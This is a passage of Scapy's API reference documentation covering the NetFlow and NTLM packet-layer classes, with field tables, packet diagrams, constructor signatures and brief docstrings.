
	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SRC                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DST                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            NEXTHOP                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             INPUT             |             OUTPUT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             DPKTS                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            DOCTETS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             FIRST                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              LAST                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            SRCPORT            |            DSTPORT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      PAD1     |    TCPFLAGS   |      PROT     |      TOS      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             SRC AS            |             DST AS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    SRC MASK   |    DST MASK   |              PAD2             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. NetflowRecordV5                       


NetflowRecordV5 fields






	src

	IPField

	'127.0.0.1'



	dst

	IPField

	'127.0.0.1'



	nexthop

	IPField

	'0.0.0.0'



	input

	ShortField

	0



	output

	ShortField

	0



	dpkts

	IntField

	1



	dOctets

	IntField

	60



	first

	IntField

	0



	last

	IntField

	0



	srcport

	ShortField

	0



	dstport

	ShortField

	0



	pad1

	ByteField

	0



	tcpFlags

	FlagsField

	<Flag 2 (S)>



	prot

	ByteEnumField

	6



	tos

	ByteField

	0



	src_as

	ShortField

	0



	dst_as

	ShortField

	0



	src_mask

	ByteField

	0



	dst_mask

	ByteField

	0



	pad2

	ShortField

	0











	
payload_guess

	Possible sublayers:
NetflowRecordV5










	
class scapy.layers.netflow.NetflowRecordV9(_pkt, /, *, fieldValue=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L1399-L1404]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L1403-L1404]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FIELDVALUE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. NetflowRecordV9                       


NetflowRecordV9 fields






	fieldValue

	StrField

	b''















	
class scapy.layers.netflow.NetflowSession(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L1578-L1596]

	Bases: IPSession

Session used to defragment NetflowV9/10 packets on the flow.
See help(scapy.layers.netflow) for more infos.


	
process(pkt: Packet) → Packet | None[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L1588-L1596]

	








	
class scapy.layers.netflow.NetflowTemplateFieldV9(_pkt, /, *, enterpriseBit=0, fieldType=None, fieldLength=None, enterpriseNumber=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L1284-L1303]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L1302-L1303]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|E|          FIELDTYPE          |          FIELDLENGTH          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        ENTERPRISENUMBER                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. NetflowTemplateFieldV9                    


NetflowTemplateFieldV9 fields






	enterpriseBit

	BitField  (1 bit)

	0



	fieldType

	BitEnumField

	None



	fieldLength

	ShortField

	None



	enterpriseNumber

	IntField (Cond)

	0















	
class scapy.layers.netflow.NetflowTemplateV9(_pkt, /, *, templateID=255, fieldCount=None, template_fields=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L1306-L1314]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L1313-L1314]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           TEMPLATEID          |           FIELDCOUNT          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        TEMPLATE FIELDS        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. NetflowTemplateV9                      


NetflowTemplateV9 fields






	templateID

	ShortField

	255



	fieldCount

	FieldLenField

	None



	template_fields

	PacketListField

	[]















	
class scapy.layers.netflow.ShortOrInt(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L210-L214]

	Bases: IntField


	
getfield(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L211-L214]

	








	
scapy.layers.netflow.ipfix_defragment(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L1573-L1575]

	Alias for netflowv9_defragment






	
scapy.layers.netflow.netflowv9_defragment(plist, verb=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netflow.py#L1547-L1570]

	Process all NetflowV9/10 Packets to match IDs of the DataFlowsets
with the Headers


	params:
	
	plist: the list of mixed NetflowV9/10 packets.


	verb: verbose print (0/1)















            

          

      

      

    

  

    
      
          
            
  
scapy.layers.ntlm

NTLM

This is documented in [MS-NLMP]


Note

You will find more complete documentation for this layer over at
GSSAPI [https://scapy.readthedocs.io/en/latest/layers/gssapi.html#ntlm]




	
class scapy.layers.ntlm.AV_PAIR(_pkt, /, *, AvId=0, AvLen=None, Value=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L565-L624]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L623-L624]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              AVID             |             AVLEN             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. AV_PAIR                           


AV_PAIR fields






	AvId

	LEShortEnumField

	0



	AvLen

	FieldLenField

	None



	Value

	MultipleTypeField (LEIntEnumField, UTCTimeField, PacketField, XStrLenField, StrLenFieldUtf16)

	b''















	
scapy.layers.ntlm.HMAC_MD5(key, data)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L946-L947]

	




	
scapy.layers.ntlm.HTTP_ntlm_negotiate(ntlm_negotiate)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L898-L905]

	Create an HTTP NTLM negotiate packet from an NTLM_NEGOTIATE message






	
class scapy.layers.ntlm.LM_RESPONSE(_pkt, /, *, Response=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L695-L698]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESPONSE                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. LM_RESPONSE                         


LM_RESPONSE fields






	Response

	StrFixedLenField

	b''















	
class scapy.layers.ntlm.LMv2_RESPONSE(_pkt, /, *, Response=b'', ChallengeFromClient=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L701-L705]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESPONSE                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      CHALLENGEFROMCLIENT                      |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. LMv2_RESPONSE                        


LMv2_RESPONSE fields






	Response

	StrFixedLenField

	b''



	ChallengeFromClient

	StrFixedLenField

	b''















	
scapy.layers.ntlm.MAC(Handle, SigningKey, SeqNum, Message)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L1025-L1033]

	




	
scapy.layers.ntlm.MD4le(x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L950-L954]

	MD4 over a string encoded as utf-16le






	
class scapy.layers.ntlm.NEGOEX_EXCHANGE_NTLM(_pkt, /, *, items=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L929-L940]

	Bases: ASN1_Packet

GSSAPI NegoEX Exchange metadata blob
This was reversed and may be meaningless


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<ASN1F_SEQUENCE(<ASN1F_SEQUENCE_OF items>,)>,)>

	




	
aliastypes

	




	
fields_desc

	
NEGOEX_EXCHANGE_NTLM fields






	items

	ASN1F_SEQUENCE_OF

	[]















	
class scapy.layers.ntlm.NEGOEX_EXCHANGE_NTLM_ITEM(_pkt, /, *, oid=<ASN1_OID['.']>, token=<ASN1_PRINTABLE_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L915-L926]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<ASN1F_SEQUENCE(<ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_OID object>, <scapy.asn1fields.ASN1F_PRINTABLE_STRING object>)>,)>,)>

	




	
aliastypes

	




	
fields_desc

	
NEGOEX_EXCHANGE_NTLM_ITEM fields






	oid

	ASN1F_OID

	<ASN1_OID['.']>



	token

	ASN1F_PRINTABLE_STRING

	<ASN1_PRINTABLE_STRING['']>















	
class scapy.layers.ntlm.NTLMSSP(UPN=None, HASHNT=None, PASSWORD=None, USE_MIC=True, NTLM_VALUES={}, DOMAIN_NB_NAME='DOMAIN', DOMAIN_FQDN=None, COMPUTER_NB_NAME='SRV', COMPUTER_FQDN=None, IDENTITIES=None, DO_NOT_CHECK_LOGIN=False, SERVER_CHALLENGE=None, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L1123-L1802]

	Bases: SSP

The NTLM SSP

Common arguments:



	param auth_level:

	One of DCE_C_AUTHN_LEVEL



	param USE_MIC:

	whether to use a MIC or not (default: True)



	param NTLM_VALUES:

	a dictionary used to override the following values





In case of a client:

- NegotiateFlags
- ProductMajorVersion
- ProductMinorVersion
- ProductBuild





In case of a server:

- NetbiosDomainName
- NetbiosComputerName
- DnsComputerName
- DnsDomainName (defaults to DOMAIN)
- DnsTreeName (defaults to DOMAIN)
- Flags
- Timestamp








Client-only arguments:



	param UPN:

	the UPN to use for NTLM auth. If no domain is specified, will
use the one provided by the server (domain in a domain, local
if without domain)



	param HASHNT:

	the password to use for NTLM auth



	param PASSWORD:

	the password to use for NTLM auth








Server-only arguments:



	param DOMAIN_NB_NAME:

	the domain Netbios name (default: DOMAIN)



	param DOMAIN_FQDN:

	the domain FQDN (default: <domain_nb_name>.local)



	param COMPUTER_NB_NAME:

	the server Netbios name (default: SRV)



	param COMPUTER_FQDN:

	the server FQDN
(default: <computer_nb_name>.<domain_fqdn>)



	param IDENTITIES:

	a dict {“username”: <HashNT>}
Setting this value enables signature computation and
authenticates inbound users.









	
class CONTEXT(IsAcceptor, req_flags=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L1179-L1216]

	Bases: CONTEXT


	
ExportedSessionKey

	




	
IsAcceptor

	




	
RecvSealHandle

	




	
RecvSealKey

	




	
RecvSeqNum

	




	
RecvSignKey

	




	
SendSealHandle

	




	
SendSealKey

	




	
SendSeqNum

	




	
SendSignKey

	




	
ServerHostname

	




	
SessionKey

	




	
chall_tok

	




	
neg_tok

	








	
GSS_Accept_sec_context(Context: CONTEXT, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L1545-L1692]

	




	
GSS_GetMICEx(Context, msgs, qop_req=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L1254-L1267]

	[MS-NLMP] sect 3.4.8






	
GSS_Init_sec_context(Context: CONTEXT, val=None, req_flags: GSS_C_FLAGS | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L1348-L1543]

	




	
GSS_Passive(Context: CONTEXT, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L1703-L1735]

	




	
GSS_Passive_set_Direction(Context: CONTEXT, IsAcceptor=False)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L1737-L1754]

	




	
GSS_UnwrapEx(Context, msgs, signature)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L1301-L1311]

	[MS-NLMP] sect 3.4.7






	
GSS_VerifyMICEx(Context, msgs, signature)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L1269-L1283]

	[MS-NLMP] sect 3.4.9






	
GSS_WrapEx(Context, msgs, qop_req=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L1285-L1299]

	[MS-NLMP] sect 3.4.6






	
LegsAmount(Context: CONTEXT)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L1251-L1252]

	




	
MaximumSignatureLength(Context: CONTEXT)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L1694-L1701]

	Returns the Maximum Signature length.

This will be used in auth_len in DceRpc5, and is necessary for
PFC_SUPPORT_HEADER_SIGN to work properly.






	
class STATE(value, names=None, *values, module=None, qualname=None, type=None, start=1, boundary=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L1173-L1177]

	Bases: STATE


	
CLI_SENT_AUTH = 3

	




	
CLI_SENT_NEGO = 2

	




	
INIT = 1

	




	
SRV_SENT_CHAL = 4

	








	
auth_type = 10

	




	
canMechListMIC(Context)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L1313-L1322]

	




	
getMechListMIC(Context, input)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L1324-L1334]

	




	
oid = '1.3.6.1.4.1.311.2.2.10'

	




	
verifyMechListMIC(Context, otherMIC, input)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L1336-L1346]

	








	
class scapy.layers.ntlm.NTLMSSP_MESSAGE_SIGNATURE(_pkt, /, *, Version=1, Checksum=b'', SeqNum=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L987-L993]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            VERSION                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            CHECKSUM                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             SEQNUM                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. NTLMSSP_MESSAGE_SIGNATURE                  


NTLMSSP_MESSAGE_SIGNATURE fields






	Version

	LEIntField

	1



	Checksum

	XStrFixedLenField

	b''



	SeqNum

	LEIntField

	0















	
class scapy.layers.ntlm.NTLM_AUTHENTICATE(_pkt, /, *, Signature=b'NTLMSSP\x00', MessageType=3, LmChallengeResponseLen=None, LmChallengeResponseMaxLen=None, LmChallengeResponseBufferOffset=None, NtChallengeResponseLen=None, NtChallengeResponseMaxLen=None, NtChallengeResponseBufferOffset=None, DomainNameLen=None, DomainNameMaxLen=None, DomainNameBufferOffset=None, UserNameLen=None, UserNameMaxLen=None, UserNameBufferOffset=None, WorkstationLen=None, WorkstationMaxLen=None, WorkstationBufferOffset=None, EncryptedRandomSessionKeyLen=None, EncryptedRandomSessionKeyMaxLen=None, EncryptedRandomSessionKeyBufferOffset=None, NegotiateFlags=<Flag 0 ()>, ProductMajorVersion=0, ProductMinorVersion=0, ProductBuild=0, res_ver=0, NTLMRevisionCurrent=15, MIC=b'', Payload=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L769-L891]

	Bases: _NTLMPayloadPacket


	
NTLM_VERSION = 1

	




	
OFFSET()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L773-L777]

	




	
aliastypes

	




	
compute_mic(ExportedSessionKey, negotiate, challenge)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L887-L891]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SIGNATURE                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MESSAGETYPE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     LMCHALLENGERESPONSELEN    |   LMCHALLENGERESPONSEMAXLEN   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                LMCHALLENGERESPONSEBUFFEROFFSET                |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     NTCHALLENGERESPONSELEN    |   NTCHALLENGERESPONSEMAXLEN   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                NTCHALLENGERESPONSEBUFFEROFFSET                |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         DOMAINNAMELEN         |        DOMAINNAMEMAXLEN       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     DOMAINNAMEBUFFEROFFSET                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          USERNAMELEN          |         USERNAMEMAXLEN        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      USERNAMEBUFFEROFFSET                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         WORKSTATIONLEN        |       WORKSTATIONMAXLEN       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    WORKSTATIONBUFFEROFFSET                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  ENCRYPTEDRANDOMSESSIONKEYLEN |ENCRYPTEDRANDOMSESSIONKEYMAXLEN|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             ENCRYPTEDRANDOMSESSIONKEYBUFFEROFFSET             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         NEGOTIATEFLAGS                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|PRODUCTMAJORVER|PRODUCTMINORVER|          PRODUCTBUILD         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RES VER                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|NTLMREVISIONCUR|                      MIC                      |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            PAYLOAD            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. NTLM_AUTHENTICATE                      


NTLM_AUTHENTICATE fields






	Signature

	StrFixedLenField

	b'NTLMSSP\x00'



	MessageType

	LEIntEnumField

	3



	LmChallengeResponseLen

	LEShortField

	None



	LmChallengeResponseMaxLen

	LEShortField

	None



	LmChallengeResponseBufferOffset

	LEIntField

	None



	NtChallengeResponseLen

	LEShortField

	None



	NtChallengeResponseMaxLen

	LEShortField

	None



	NtChallengeResponseBufferOffset

	LEIntField

	None



	DomainNameLen

	LEShortField

	None



	DomainNameMaxLen

	LEShortField

	None



	DomainNameBufferOffset

	LEIntField

	None



	UserNameLen

	LEShortField

	None



	UserNameMaxLen

	LEShortField

	None



	UserNameBufferOffset

	LEIntField

	None



	WorkstationLen

	LEShortField

	None



	WorkstationMaxLen

	LEShortField

	None



	WorkstationBufferOffset

	LEIntField

	None



	EncryptedRandomSessionKeyLen

	LEShortField

	None



	EncryptedRandomSessionKeyMaxLen

	LEShortField

	None



	EncryptedRandomSessionKeyBufferOffset

	LEIntField

	None



	NegotiateFlags

	FlagsField

	<Flag 0 ()>



	ProductMajorVersion

	ByteField (Cond)

	0



	ProductMinorVersion

	ByteField (Cond)

	0



	ProductBuild

	LEShortField (Cond)

	0



	res_ver

	LEThreeBytesField (Cond)

	0



	NTLMRevisionCurrent

	ByteEnumField (Cond)

	15



	MIC

	XStrFixedLenField (Cond)

	b''



	Payload

	_NTLMPayloadField

	[]











	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L868-L885]

	








	
class scapy.layers.ntlm.NTLM_AUTHENTICATE_V2(_pkt, /, *, Signature=b'NTLMSSP\x00', MessageType=3, LmChallengeResponseLen=None, LmChallengeResponseMaxLen=None, LmChallengeResponseBufferOffset=None, NtChallengeResponseLen=None, NtChallengeResponseMaxLen=None, NtChallengeResponseBufferOffset=None, DomainNameLen=None, DomainNameMaxLen=None, DomainNameBufferOffset=None, UserNameLen=None, UserNameMaxLen=None, UserNameBufferOffset=None, WorkstationLen=None, WorkstationMaxLen=None, WorkstationBufferOffset=None, EncryptedRandomSessionKeyLen=None, EncryptedRandomSessionKeyMaxLen=None, EncryptedRandomSessionKeyBufferOffset=None, NegotiateFlags=<Flag 0 ()>, ProductMajorVersion=0, ProductMinorVersion=0, ProductBuild=0, res_ver=0, NTLMRevisionCurrent=15, MIC=b'', Payload=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ntlm.py#L894-L895]

	Bases: NTLM_AUTHENTICATE


	
NTLM_VERSION = 2

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SIGNATURE                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MESSAGETYPE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     LMCHALLENGERESPONSELEN    |   LMCHALLENGERESPONSEMAXLEN   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                LMCHALLENGERESPONSEBUFFEROFFSET                |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     NTCHALLENGERESPONSELEN    |   NTCHALLENGERESPONSEMAXLEN   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                NTCHALLENGERESPONSEBUFFEROFFSET                |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         DOMAINNAMELEN         |        DOMAINNAMEMAXLEN       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     DOMAINNAMEBUFFEROFFSET                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          USERNAMELEN          |         USERNAMEMAXLEN        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      USERNAMEBUFFEROFFSET                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         WORKSTATIONLEN        |       WORKSTATIONMAXLEN       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    WORKSTATIONBUFFEROFFSET                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  ENCRYPTEDRANDOMSESSIONKEYLEN |ENCRYPTEDRANDOMSESSIONKEYMAXLEN|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             ENCRYPTEDRANDOMSESSIONKEYBUFFEROFFSET             |
